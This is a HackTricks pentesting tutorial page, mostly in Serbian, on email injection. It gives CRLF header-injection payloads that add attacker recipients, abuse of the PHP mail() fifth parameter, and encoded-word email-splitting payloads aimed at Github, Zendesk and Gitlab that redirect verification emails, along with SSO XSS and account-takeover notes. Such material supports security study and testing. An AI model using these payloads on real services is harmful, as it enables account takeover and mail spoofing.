hacktricks/pentesting-web/email-injections.md

237 lines
12 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
## Umetnite u poslatu e-poštu
### Umetnite Cc i Bcc nakon argumenta pošiljaoca
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Poruka će biti poslata na naloge recipient i recipient1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Poruka će biti poslata originalnom primaocu i nalogu napadača.
### Inject Subject argument
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Lažni predmet će biti dodat originalnom predmetu i u nekim slučajevima će ga zameniti. To zavisi od ponašanja usluge e-pošte.
### Promenite telo poruke
Ubaci dva nova reda, a zatim napiši svoju poruku da bi promenio telo poruke.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() funkcija eksploatacija
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### Peti parametar ($additional\_parameters)
Ovaj deo će se zasnivati na **kako zloupotrebiti ovaj parametar pod pretpostavkom da napadač njime upravlja**.
Ovaj parametar će biti dodat u komandnu liniju koju će PHP koristiti za pozivanje binarnog sendmail-a. Međutim, biće sanitizovan funkcijom `escapeshellcmd($additional_parameters)`.
Napadač može **ubaciti dodatne parametre za sendmail** u ovom slučaju.
#### Razlike u implementaciji /usr/sbin/sendmail
**sendmail** interfejs je **obezbeđen od strane MTA email softvera** (Sendmail, Postfix, Exim itd.) instaliranog na sistemu. Iako **osnovna funkcionalnost** (kao što su -t -i -f parametri) ostaje **ista** iz razloga kompatibilnosti, **druge funkcije i parametri** se značajno razlikuju u zavisnosti od instaliranog MTA.
Evo nekoliko primera različitih man stranica za sendmail komandu/interfejs:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
U zavisnosti od **izvora sendmail** binarne datoteke otkrivene su različite opcije za zloupotrebu i **curenje fajlova ili čak izvršavanje proizvoljnih komandi**. Proverite kako u [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Ubacivanje u ime e-pošte
{% hint style="danger" %}
Imajte na umu da ako uspete da kreirate nalog u servisu sa proizvoljnim imenom domena (kao što su Github, Gitlab, CloudFlare Zero trust...) i verifikujete ga primajući verifikacioni email na vašu adresu, možda ćete moći da pristupite osetljivim mestima kompanije žrtve
{% endhint %}
### Ignorisani delovi e-pošte
Simboli: **+, -** i **{}** u retkim slučajevima mogu se koristiti za označavanje i ignorisati od strane većine e-mail servera
* Npr. john.doe+intigriti@example.com → john.doe@example.com
**Komentari između zagrada ()** na početku ili kraju će takođe biti ignorisani
* Npr. john.doe(intigriti)@example.com → john.doe@example.com
### Zaobilaženje bele liste
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Citati
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP adrese
Takođe možete koristiti IP adrese kao imena domena između uglastih zagrada:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Kodiranje e-pošte
Kao što je objašnjeno u [**ovoj studiji**](https://portswigger.net/research/splitting-the-email-atom), imena e-pošte takođe mogu sadržati kodirane karaktere:
* **PHP 256 overflow**: PHP `chr` funkcija će nastaviti dodavati 256 karakteru dok ne postane pozitivan, a zatim izvršiti operaciju `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Cilj ovog trika je da se završi sa injekcijom poput `RCPT TO:<"collab@psres.net>collab"@example.com>`\
koja će poslati verifikacioni email na drugu email adresu od očekivane (tako da se unese druga email adresa unutar imena e-pošte i prekine sintaksa prilikom slanja email-a)
{% endhint %}
Različita kodiranja:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Napomena o kodiranom `@` kao =40, kodiranom `>` kao `=3e` i `null` kao `=00`&#x20;
* Poslaće verifikacioni email na `collab@psres.net`
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Ista trik kao pre, ali dodajući neku običnu navodnu reč na početku i kodiranu navodnu reč `=22` pre kodiranog `@`, a zatim otvarajući i zatvarajući neke navodne reči pre sledećeg emaila da bi se ispravila sintaksa koju koristi Zendesk
* Poslaće verifikacioni email na `collab@psres.net`
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Napomena o korišćenju donje crte kao razmaka za razdvajanje adrese
* Poslaće verifikacioni email na `collab@psres.net`
* Punycode: Korišćenjem Punycode-a bilo je moguće injektovati oznaku `<style` u Joomla i zloupotrebiti je za krađu CSRF tokena putem CSS eksfiltracije.
#### Tooling
* Postoji **Burp Suite Turbo Intruder skripta** za fuzzing ovih vrsta kombinacija kako bi se pokušao napad na email formate. Skripta već ima potencijalno funkcionalne kombinacije.
* Takođe je moguće koristiti [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) za kreiranje napada deljenja emaila
### Other vulns
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Third party SSO
### XSS
Neke usluge kao što su **github** ili **salesforce** omogućavaju vam da kreirate **email adresu sa XSS payload-ima**. Ako možete **koristiti ove provajdere za prijavu na druge usluge** i te usluge **ne sanitizuju** ispravno email, mogli biste izazvati **XSS**.
### Account-Takeover
Ako **SSO usluga** omogućava da **kreirate nalog bez verifikacije date email adrese** (kao što je **salesforce**) i zatim možete koristiti taj nalog za **prijavu na drugu uslugu** koja **veruje** salesforce, mogli biste pristupiti bilo kojem nalogu.\
_Napomena da salesforce označava da li je data email adresa verifikovana ili ne, ali takođe aplikacija treba uzeti u obzir ovu informaciju._
## Reply-To
Možete poslati email koristeći _**From: company.com**_ i _**Replay-To: attacker.com**_ i ako se bilo koja **automatska odgovor** pošalje zbog toga što je email poslat **sa** **internog adresa**, **napadač** može biti u mogućnosti da **primi** taj **odgovor**.
## Hard Bounce Rate
Određene usluge, kao što je AWS, implementiraju prag poznat kao **Hard Bounce Rate**, obično postavljen na 10%. Ovo je kritična metrika, posebno za usluge dostave emaila. Kada se ovaj procenat prekorači, usluga, kao što je AWS-ova usluga emaila, može biti suspendovana ili blokirana.
**Hard bounce** se odnosi na **email** koji je vraćen pošiljaocu jer je adresa primaoca nevažeća ili nepostojeća. Ovo se može dogoditi iz raznih razloga, kao što su **email** poslat na nepostojeću adresu, domen koji nije stvaran, ili odbijanje servera primaoca da prihvati **emailove**.
U kontekstu AWS-a, ako pošaljete 1000 emailova i 100 od njih rezultira hard bounce-ovima (zbog razloga kao što su nevažeće adrese ili domeni), to bi značilo 10% hard bounce rate. Dostizanje ili prekoračenje ovog procenta može pokrenuti AWS SES (Simple Email Service) da blokira ili suspenduje vaše mogućnosti slanja emaila.
Važno je održavati nizak hard bounce rate kako bi se osigurala neprekidna usluga emaila i održala reputacija pošiljaoca. Praćenje i upravljanje kvalitetom email adresa u vašim mailing listama može značajno pomoći u postizanju ovog cilja.
Za detaljnije informacije, može se konsultovati AWS-ova zvanična dokumentacija o upravljanju bounce-ovima i pritužbama [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## References
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}